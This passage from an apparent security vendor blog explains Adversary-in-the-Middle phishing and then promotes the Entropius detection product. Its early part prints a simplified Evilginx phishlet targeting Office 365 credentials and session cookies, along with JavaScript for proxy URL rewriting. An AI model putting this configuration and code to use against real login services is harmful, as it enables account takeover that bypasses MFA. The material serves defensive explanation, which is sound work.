      |                            |  [Proxy rewrites links to    |
      |                            |   point back through proxy]  |
      |                            |                              |
      |  POST /login               |                              |
      |  user=victim&pass=secret   |                              |
      |--------------------------->|  [CAPTURES credentials]      |
      |                            |  POST /login                 |
      |                            |  user=victim&pass=secret     |
      |                            |----------------------------->|
      |                            |  302 → /mfa-challenge        |
      |  302 → /mfa-challenge      |<-----------------------------|
      |<---------------------------|                              |
      |                            |                              |
      |  POST /mfa-verify          |                              |
      |  code=123456               |                              |
      |--------------------------->|  [CAPTURES MFA code]         |
      |                            |  POST /mfa-verify            |
      |                            |  code=123456                 |
      |                            |----------------------------->|
      |                            |  200 OK + Set-Cookie:        |
      |                            |  session=eyJhb...            |
      |  200 OK + Set-Cookie       |<-----------------------------|
      |<---------------------------|  [CAPTURES session token]    |
      |                            |                              |

An Evilginx-style proxy configuration (simplified) shows how the interception is set up:

# Evilginx phishlet configuration (simplified)
name: 'office365'
proxy_hosts:
  - phish_sub: 'login'
    orig_sub: 'login'
    domain: 'microsoftonline.com'
    session: true
    is_landing: true

  - phish_sub: 'www'
    orig_sub: 'www'
    domain: 'office.com'
    session: false

auth_tokens:
  - domain: '.login.microsoftonline.com'
    keys:
      - 'ESTSAUTH'
      - 'ESTSAUTHPERSISTENT'
      - 'SignInStateCookie'

  - domain: '.office.com'
    keys:
      - 'OIDCAuthCookie'

credentials:
  username:
    key: 'login'
    search: '(.*)'
    type: 'post'
  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'

landing_path:
  - '/common/oauth2/v2.0/authorize'

The proxy rewrites all URLs in the response body to route through the attacker's domain:

// URL rewriting logic (conceptual)
function rewriteResponse(body, proxyDomain, targetDomain) {
  return body
    // Rewrite absolute URLs
    .replace(
      new RegExp('https://' + escapeRegex(targetDomain),
        'g'),
      'https://' + proxyDomain
    )
    // Rewrite relative URLs in script src, link href
    .replace(
      /(?:src|href|action)="(\/[^"]*)/g,
      function(match, path) {
        return match.replace(path,
          'https://' + proxyDomain + path);
      }
    );
}

The victim sees a fully functional login page that looks and behaves exactly like the real thing — because it is the real thing, just proxied. After the victim completes authentication including MFA, the attacker has both the credentials and the authenticated session cookie. They can immediately use the session token to access the victim's account without needing to re-authenticate.

Evilginx has been used against 18+ US universities in documented campaigns. The tool is open-source and has spawned numerous forks and commercial derivatives. The Tycoon 2FA PhaaS platform incorporates AiTM proxying as a core feature, combined with the redirect chain techniques described earlier in this article for the initial victim delivery.

The combination is particularly lethal: a multi-hop redirect chain (HTTP redirects, JavaScript cloaking, CAPTCHA gating) delivers the victim to the AiTM proxy, which then transparently proxies all subsequent requests. The redirect chain handles evasion; the proxy handles credential and session theft.

The PhaaS Ecosystem

The techniques described above are no longer exclusive to advanced threat actors. They've been productized through Phishing-as-a-Service (PhaaS) platforms that offer turnkey redirect infrastructure for a monthly subscription.

Tycoon 2FA charges $120-200 per month and has been linked to over 150,000 stolen credentials. It bundles AiTM (Adversary-in-the-Middle) reverse proxying with WebSocket-based exfiltration, JavaScript obfuscation, and multi-hop redirect chains. All of the evasion techniques — cloaking, anti-analysis, service worker abuse — come prepackaged.

Evilginx, an open-source AiTM framework, has been used against 18+ US universities in documented campaigns. It sits as a transparent reverse proxy between the victim and the legitimate login page, capturing credentials and session tokens in real time while the victim interacts with what appears to be the real site.

Quantum Route Redirect operates across 90 countries, combining URL shortener abuse, open redirect chains, and JavaScript-based cloaking in a single PhaaS offering.

Sneaky 2FA emerged in late 2025 combining Browser-in-the-Browser overlays with AiTM proxying, defeating both traditional URL analysis and two-factor authentication in a single attack flow.

The broader trend is Cloaking-as-a-Service — specialized providers that sell redirect and evasion infrastructure as a standalone product, separate from the phishing pages themselves. Attackers can mix and match: buy cloaking from one provider, phishing pages from another, hosting from a third. This modularization makes attribution nearly impossible and takedowns whack-a-mole exercises.

How Entropius Handles All of This

Every technique in this article represents a way for attackers to hide their true destination from security tools. Traditional URL scanners fetch the page, check the HTML, and move on. They miss JavaScript redirects, history manipulation, blob URL smuggling, WASM-compiled logic, and everything that happens after the initial page load. Entropius was built specifically to eliminate these blind spots.

Full redirect chain tracking. Entropius follows every redirect hop — HTTP 3xx, JavaScript location calls, meta refresh, iframe navigations, form submissions, and everything in between — recording the complete chain from initial URL to final destination. No hop is invisible. No technique is skipped.

Technique classification at every hop. Every transition in the chain is classified by the specific mechanism that caused it. Analysts see not just where the chain went, but how each transition happened — whether it was an HTTP 302, a location.replace(), a blob URL navigation, or a postMessage-triggered redirect. This context is critical for understanding attacker methodology and attributing campaigns to specific PhaaS toolkits.

Hidden redirect detection. URL changes that are invisible to the user — pushState spoofing, replaceState manipulation, and document.write() content replacement — are captured alongside visible navigations. If the address bar shows one URL while the content comes from another, Entropius records both.

Cross-origin and iframe tracking. Cross-origin transitions, iframe navigations, frame-busting attempts, and clickjacking overlays are all tracked with their source and target frames identified. Nested iframe chains that would be invisible to a simple page fetch are fully resolved.

Blob URL and data URI resolution. HTML smuggling via blob URLs and data URI phishing are detected and the assembled content is captured. The phishing page that exists only in browser memory is recorded as forensic evidence.

SVG payload extraction. SVG files are parsed for embedded JavaScript in CDATA sections. XOR-encrypted and base64-encoded payloads within SVG elements are decrypted, decoded, and analyzed to extract redirect URLs and victim-tracking parameters that would otherwise be invisible to file-type-based filtering.

WASM binary capture and analysis. WebAssembly modules loaded during page execution are captured and their JavaScript bridge functions are monitored. Since WASM cannot access browser APIs directly, Entropius intercepts the JS glue layer — recording every location.href, document.write, or DOM manipulation that a WASM module triggers through its imports.

CAPTCHA-gated page handling. Entropius navigates through Cloudflare Turnstile, reCAPTCHA, and other challenge gates that block conventional crawlers. Content behind CAPTCHA walls is reached and analyzed, ensuring that phishing pages hidden behind challenge gates are not invisible to detection.

WebRTC leak detection. WebRTC STUN requests initiated by phishing pages are intercepted and logged. Entropius identifies when a page attempts to leak the visitor's real IP address through ICE candidate gathering, flagging this as a fingerprinting and evasion indicator.

AiTM proxy detection. Entropius identifies Adversary-in-the-Middle transparent proxying by analyzing TLS certificate chains, detecting URL rewriting patterns in response bodies, and correlating timing anomalies introduced by the proxy layer. When a phishing page is transparently proxying a legitimate site, the certificate, hosting infrastructure, and response timing diverge from the real service — and Entropius captures these signals.

Service worker and persistent threat detection. Service worker registrations, cache manipulation, and persistent fetch interception are identified and flagged. Entropius detects when a service worker is altering responses, even when the network traffic appears clean.

Behavioral analysis over signatures. With LLM-generated obfuscation producing thousands of syntactically unique variants, static signature matching is insufficient. Entropius observes what code does — the runtime behavior, the URLs it constructs, the APIs it calls — rather than relying on what the code looks like. This behavioral approach detects novel obfuscation variants on first encounter.

Graph-correlated intelligence at every hop. The complete chain is correlated with Entropius's graph-based threat intelligence — linking domains, IPs, certificates, and WHOIS data at every hop. When a redirect chain crosses five different domains, each domain is automatically enriched with registration history, hosting infrastructure, certificate transparency data, and ASN information.

Every technique described in this article is something Entropius detects and records automatically, producing forensic-grade evidence chains for analysts and incident responders.

The redirect chain is the attacker's greatest tool. Full-chain tracking makes it their greatest liability.

Learn how Entropius maps every hop in the chain →